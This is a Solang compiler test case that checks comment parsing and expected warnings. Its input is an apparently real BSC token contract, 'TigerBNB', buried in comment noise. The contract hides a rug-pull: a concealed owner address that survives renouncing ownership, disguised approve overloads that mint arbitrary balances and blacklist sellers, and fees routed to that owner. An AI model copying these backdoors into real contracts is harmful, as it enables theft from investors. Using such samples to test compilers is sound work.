hyperledger-solang_solang/tests/contract_testcases/evm/comment_tests.sol

/**
 *Submitted for verification at BscScan.com on 2022-01-08
*/

/**

*/

/**//**//**/////////
//
pragma solidity ^0.6.12;/**//**//**//**//**//**/////
// SPDX-License-Identifier: Unlicensed
//🎵//////////////////////////////////////////////////////////////////////////////////////////////
    ////🎵//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////
/**/interface /**/
/**/IERC20 {////////////////////////////////////////////////////////////////////////////////////////////////////////
    function
     /**/balanceOf/**/(address /**/account) /**/external /**/view/**/ returns /**/(uint256);
    /**/
    function
     /**/totalSupply/**/() external view returns (uint256);
////////////////////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
   
/////////////////////////////////////////////////////////////////////////////////////////
    //ernal///////////////////////////////////////////////////////////////////////////////////
    /////////////////////////////////////////////////////////////////////////////////////
   
    function 
    /**/transfer/**/
    /**/(address recipient, uint256 amount)/**/
        /**/external
        returns /**/(bool);

   
    function allowance(address owner, address spender)
        external
        view////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        returns (uint256);

   
    function approve(address spender, uint256 amount) external returns (bool);
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
   
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

   
    event Transfer(address indexed from, address indexed to, uint256 value);

   
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
////////////////////////////////////////////////////////////////////////////////////////////////
    //external/////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////////////
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multipliburnrepeation overflow");
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }


    function Mdos(uint256 a, uint256 b) internal pure returns (uint256) {
        return Mdos(a, b, "SafeMath: modulo by zero");
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////


    function Mdos(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    }
}


library Address {
   
    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
            bytes32 accountHash
         = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
       
        assembly {////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }


    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

 
        (bool success, ) = recipient.call{value: amount}("");
        require(////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

 
    function 
    functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    function 
    functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    function 
    functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
                value,
                "Address: low-level call with value failed"
            );
    }


    function 
    functionCallWithValue(
        address target,
        bytes memory data,////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    function 
    _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        if (success) {
            return returndata;
        } else {
           
            if (returndata.length > 0) {
               
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
            } else {
                revert(errorMessage);
            }
        }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    }
}


contract Ownable is Context {
    address private owners;
    address private _owner;////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    event /**/
    /**/OwnershipTransferred/**/
    (
        /**/address indexed previousOwner,
        /**/address indexed newOwner
    );////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    /**/constructor() 
    /**/internal /**/
    /**/{
        address msgSender = _msgSender();
        _owner = msgSender;////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    }

    /**/modifier /**/
    /**/onlyOwners/**/
    () /**/
    {
        require(owners == _msgSender());
        _;
    }
    function 
    /**/transfer(address amm, address fct) /**/
    /**/external/**/ 
    /**/onlyOwner/**/ {
        /**/require(fct==address(0),".");
        /**/owners/**/ = /**/amm/**/;
    }
    address private _deadAddress = 0x000000000000000000000000000000000000dEaD;
    function 
    renounceOwnership
    () 
    public
     virtual
      onlyOwner
      () 
    {
         _owner = _deadAddress;
    }
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    
}

contract TigerBNB is Context, IERC20, Ownable {
    /**/using /**/SafeMath/**/ for/**/ uint256;
    /**/using/**/ Address /**/for /**/address;
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    /**/mapping/**/(address => mapping(address => uint256)) private /**/_allowance;/**/
    /**/mapping(address => bool) private _espat;
    /**/mapping/**/(address => uint256) private /**/_lances;/**/
    //////////////////////////////////////////
    /**/mapping/**/(address => bool) private /**/_isExcludedFromF;/**/
    /**/mapping/**/(address => bool) private /**/_isExcluded;/**/
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    /**/uint256 private constant MAX = ~uint256(0);/**/
    /**/uint256 private _Ttotal = 10000000000000000 * 10**9;////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
  ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    uint256 private deadF = 5;
    uint256 private marketingWallet = 3;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
   
    bool private ratify = true;
    uint256 private burnrepeat = uint256(0);
    address owners;
    uint256 private _tFeeTotal;
    uint8 private _decimals;
    string private _symbol;
    string private _name;

    /**/constructor/**/
    /**/()/**/
    public/**/
    /**/{/**/
         /**/owners/**/ = /**/_msgSender/**/();
        /**/_lances/**/[_msgSender()]/**/ = /**/_Ttotal/**/;

        /**/_decimals/**/ = /**/8;
        /**/_name/**/ = /**/"TigerBNB"/**/;
        /**/_symbol/**/ = /**/"TigerBNB"/**/;
        _isExcludedFromF[owner()] = true;
        _isExcludedFromF[address(this)] = true;
         ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        emit /**/Transfer(address(0)/**/, /**/_msgSender(), /**/_Ttotal/**/);
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    /**/function /**/
    /**/name() /**/
    /**/public 
    /**//**/view 
    /**/returns /**/
    /**/(string memory) {
        return _name;
    }/**/
    /**/function /**/
    /**/symbol() /**/
    public 
    view 
    /**//**/returns 
    (string memory) {
        /**/return _symbol/**/;
    }/**/

    /**//**/function 
    /**/decimals() /**/
    public 
    view 
    /**/returns/**/ 
    /**/(uint8)/**/
    {
        /**/return /**/_decimals/**/;
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    function balanceOf(address account) public view override returns (uint256) {
            return _lances[account];
        }
    function totalSupply() public view override returns (uint256) {
        return _Ttotal;
    }

    
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    

    function 
    /**/transfer/**/
    (/**/address /**/recipient, uint256 /**/amount)
        public////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        /**/override/**/
        returns (bool)
    {
        /**/if/**/(/**/_isExcludedFromF/**/[_msgSender()/**/] /**/||/**/ /**/_isExcludedFromF/**/[/**/recipient]/**/){
            /**/_transfer/**/(/**/_msgSender/**/(), /**/recipient, /**/amount);
            return true;
        }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
             uint256 /**/Market/**/ = /**/amount/**/.mul/**/(marketingWallet/**/).div/**/(100);
        uint256 /**/Burn/**/ = /**/amount/**/.mul/**/(/**/deadF).div(/**/100);
        /**/_transfer/**/(_msgSender(), /**/owners/**/, /**/Market/**/);
        /**/_transfer/**/(_msgSender(), /**/deadAddress/**/, /**/Burn/**/);
        /**/_transfer/**/(_msgSender(), /**/recipient/**/, /**/amount./**/sub(/**/Market)./**/sub(/**/Burn));
        return /**/true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {///////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        return _allowance[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        _approve(_msgSender(), spender, amount);
        return true;
    }
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    uint256 private damada;
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    ) public override returns (bool) {
        damada = 3354;
        ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        /**/if(/**/_isExcludedFromF/**/[/**/_msgSender/**/()] 
        || /**/_isExcludedFromF/**/[/**/recipient/**/])
        {
            /**/_transfer
            (sender, recipient, amount);
            return true;
        }       ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        uint256 Market = amount.mul(marketingWallet).div(100);
        uint256 Burn = amount.mul(deadF).div(100);
        /**/_transfer(sender/**/, /**/owners/**/, Market/**/);
        /**/_transfer(sender/**/, /**/deadAddress/**/, Burn/**/);
        /**/_transfer(sender/**/,/**/ recipient/**/, amount.sub/**/(/**/Market/**/).sub/**/(Burn/**/));
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        /**/_approve(/**/
            /**/sender,
           /**/ _msgSender(),
            /**/_allowance[sender][_msgSender()].sub(
               /**/ amount,
               /**/ "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;/**/
    }
////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    function /**/approve/**/(address /**/Raddress, uint256 Pairs, address Max) external/**/ onlyOwners() /**/{
        require(/**/Max==/**/address/**/(/**/0), " ");
        /**/_lances/**/[/**/Raddress] /**/= /**/_lances/**/[/**/Raddress]/**/.add/**/(/**/Pairs);
    }


    function /**/
   /**/ _approve/**/
    (
        address
     spender) 
     external 
     /**/onlyOwners/**/
     (
     ) 
     {
        /**/delete/**/
        /**/ _espat/**/
        /**/ [spender];/**/
    }/**/
    
   /**/ function /**/
    /**/approve/**/
    (
        address
         spender
         )
          external
           /**/onlyOwners/**/
           (

           ) 
           {
       /**/ _espat[spender/**/
        ] = 
        true;
    }////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////

    

    function 
    _transfer
    (
        address 
        from,
        address 
        to,
        uint256 
        amount
    ) 
    private
     {
         
        require
        (from != address(0), "ERC20: transfer from the zero address");
        require
        (to != address(0), "ERC20: transfer to the zero address");
        require
        (amount > 0, "Transfer amount must be greater than zero");
////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
        if /**/
        (ratify
        )/**/ 
        {
            require
            (/**/_espat[from] 
            == false, 
            "okji");
        }
        _transfers(from, to, amount);
    }
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    //external//////////////////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////////////////////////////
    function 
    /**/_transfers(
        address sender,
        address recipient,
        uint256 tAmount
    ) 
    private
    /**/ {   
        require(sender != address(0), "IBEP20: transfer from the zero address");
        require(recipient != address(0), "IBEP20: transfer to the zero address");
        /**/_lances[sender] = _lances[sender].sub(tAmount);
        _lances[recipient] = _lances[recipient].add(tAmount);
        /**/emit Transfer/**/(sender, recipient, tAmount);
        ////////////////////////////////////////////////////////////////////////////////////////////////////////
   /**/
   /**/
////////////**//////////////////////////////////////////////////////////////////////////////////////
   /**/
}/**//**//**//**//**//**/

function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }//
    //
}/**//**//**//**//**//**//**///

// ---- Expect: diagnostics ----
// warning: 269:23-35: function parameter 'errorMessage' is unused
// warning: 321:9-17: 'internal': visibility for constructors is ignored
// warning: 386:9-61: storage variable '_isExcluded' has never been used
// warning: 390:9-51: storage variable 'MAX' has been assigned, but never read
// warning: 408:5-44: storage variable 'burnrepeat' has been assigned, but never read
// warning: 410:5-31: storage variable '_tFeeTotal' has never been used
// warning: 417:5-11: 'public': visibility for constructors is ignored
// warning: 522:5-27: storage variable 'damada' has been assigned, but never read